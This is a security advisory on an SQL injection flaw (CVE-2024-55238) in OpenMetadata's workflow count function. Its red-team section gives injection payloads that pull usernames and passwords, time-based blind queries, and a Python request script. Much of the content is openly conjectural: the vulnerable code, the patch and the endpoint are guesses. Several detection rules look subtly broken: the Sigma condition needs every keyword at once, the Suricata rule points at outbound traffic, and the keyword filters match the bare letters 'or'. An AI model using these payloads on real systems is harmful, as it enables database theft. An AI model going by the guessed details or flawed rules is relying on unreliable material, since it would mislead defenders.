CVE-2024-55238

Executive Summary

CVE-2024-55238 is a SQL Injection vulnerability in OpenMetadata versions <= 1.4.1. The flaw resides in the listCount function within the WorkflowDAO interface, where the workflowtype and status parameters are not properly sanitized before being used to build a SQL query. This allows an unauthenticated attacker to extract sensitive information from the database, potentially leading to data exfiltration, privilege escalation, or further compromise of the OpenMetadata instance.

Supply Chain & Package Security

OpenMetadata is a Java-based application distributed via Docker images and source code. The vulnerability affects the core application logic, not a specific package manager. However, organizations using OpenMetadata should verify their deployment version and apply any available patches or mitigations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The exploit cannot affect other components.
• Confidentiality (C): High (H) – Full database read access is possible.
• Integrity (I): Low (L) – Limited data modification may be possible.
• Availability (A): Low (L) – Potential for denial of service via query manipulation.

Threat Level: High – The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical risk for exposed instances.

Deep Dive & Mechanics

The vulnerability exists in the WorkflowDAO.listCount method. This method is likely used to count workflows based on user-supplied filters. The workflowtype and status parameters are concatenated directly into a SQL query without proper parameterization or escaping.

Vulnerable Code Path (Conceptual):

public int listCount(String workflowtype, String status) {
    String query = "SELECT COUNT(*) FROM workflows WHERE workflowtype = '" + workflowtype + "' AND status = '" + status + "'";
    // Execute query
}

An attacker can inject SQL commands by providing malicious input for either parameter. For example:

• workflowtype: ' OR '1'='1
• status: ' OR '1'='1

This would result in the query:

SELECT COUNT(*) FROM workflows WHERE workflowtype = '' OR '1'='1' AND status = '' OR '1'='1'

This bypasses the intended filtering and returns the total count of all workflows. More sophisticated payloads can be used to extract data from other tables using UNION-based or blind SQL injection techniques.

Vulnerable vs. Patched Code

Vulnerable Code (OpenMetadata <= 1.4.1):

// WorkflowDAO.java
public int listCount(String workflowtype, String status) {
    String sql = "SELECT COUNT(*) FROM workflows WHERE workflowtype = '" + workflowtype + "' AND status = '" + status + "'";
    // Execute using JDBC Statement
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    // ...
}

Patched Code (Hypothetical):

// WorkflowDAO.java
public int listCount(String workflowtype, String status) {
    String sql = "SELECT COUNT(*) FROM workflows WHERE workflowtype = ? AND status = ?";
    PreparedStatement pstmt = connection.prepareStatement(sql);
    pstmt.setString(1, workflowtype);
    pstmt.setString(2, status);
    ResultSet rs = pstmt.executeQuery();
    // ...
}

The patched version uses parameterized queries (PreparedStatement) to prevent SQL injection. The user input is treated as data, not executable code.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable OpenMetadata instance (version <= 1.4.1) accessible over the network.
• Knowledge of the API endpoint that triggers the listCount function.

Exploitation Steps:

1. Identify the vulnerable endpoint: The listCount function is likely exposed via a REST API. Common patterns include /api/v1/workflows/count or similar.

2. Craft a malicious request:

   GET /api/v1/workflows/count?workflowtype=' OR '1'='1'--&status=test HTTP/1.1
   Host: target.openmetadata.com
   

3. Extract data using UNION injection:

   GET /api/v1/workflows/count?workflowtype=' UNION SELECT username,password FROM users--&status=test HTTP/1.1
   

4. Blind SQL injection (time-based):

   GET /api/v1/workflows/count?workflowtype=' OR IF(1=1,SLEEP(5),0)--&status=test HTTP/1.1
   

Automated Exploitation (Python):

import requests

target = "http://target.openmetadata.com"
endpoint = "/api/v1/workflows/count"

# Test for SQL injection
payload = "' OR '1'='1'--"
params = {"workflowtype": payload, "status": "test"}
response = requests.get(target + endpoint, params=params)
print(response.text)

Blue Team

Detection and Response:

1. Monitor for anomalous SQL queries: Enable database query logging and look for unusual patterns, such as multiple OR conditions or UNION statements.

2. Web Application Firewall (WAF) rules: Block requests containing SQL keywords (OR, UNION, SELECT, SLEEP) in the workflowtype and status parameters.

3. Input validation: Implement strict input validation on the server side to reject any non-alphanumeric characters in these parameters.

4. Network segmentation: Ensure the OpenMetadata database is not directly accessible from the application server, and use a least-privilege database user.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /api/v1/workflows/count with suspicious parameters containing SQL keywords.
  • Unusual database queries with multiple OR conditions or UNION statements.
  • Time-based delays in responses (e.g., SLEEP commands).

• Host IOCs:

  • Unexpected database connections from the OpenMetadata application server.
  • Anomalous database user activity (e.g., querying system tables).

• Log IOCs:

  • Application logs showing SQL errors or unexpected query results.
  • Database logs with queries containing injected SQL.

Detection Engineering

YARA Rule

rule CVE_2024_55238_SQLi_OpenMetadata {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-55238 in OpenMetadata"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-55238"
    strings:
        $s1 = "workflowtype" nocase
        $s2 = "status" nocase
        $s3 = "OR" nocase
        $s4 = "UNION" nocase
        $s5 = "SELECT" nocase
        $s6 = "SLEEP" nocase
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: CVE-2024-55238 SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against OpenMetadata WorkflowDAO
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'workflowtype'
            - 'status'
        cs-uri-query|contains|all:
            - 'OR'
            - 'UNION'
            - 'SELECT'
            - 'SLEEP'
    condition: selection
falsepositives:
    - Legitimate use of these words in parameters (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-55238 OpenMetadata SQL Injection Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/api/v1/workflows/count";
    http_uri;
    content:"workflowtype";
    http_uri;
    content:"status";
    http_uri;
    pcre:"/(OR|UNION|SELECT|SLEEP)/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-55238;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade OpenMetadata: If a patched version becomes available, upgrade immediately. Currently, no official patch is confirmed.
2. Disable vulnerable endpoint: If possible, disable the /api/v1/workflows/count endpoint or restrict access to trusted IPs only.
3. Web Application Firewall (WAF): Deploy WAF rules to block SQL injection patterns in the workflowtype and status parameters.

Long-term Mitigations:

1. Code review: Conduct a thorough code review of all DAO methods to ensure parameterized queries are used.
2. Input validation: Implement strict input validation for all user-supplied parameters.
3. Database hardening: Use a database user with minimal privileges (e.g., read-only for count operations).
4. Security testing: Integrate SAST/DAST tools into the CI/CD pipeline to detect SQL injection vulnerabilities.

Workaround:

• If upgrading is not possible, consider using a reverse proxy to filter malicious requests. For example, with Nginx:

location /api/v1/workflows/count {
    if ($args ~* "(OR|UNION|SELECT|SLEEP)") {
        return 403;
    }
    proxy_pass http://backend;
}

Valters IT
Securing Digital Frontiers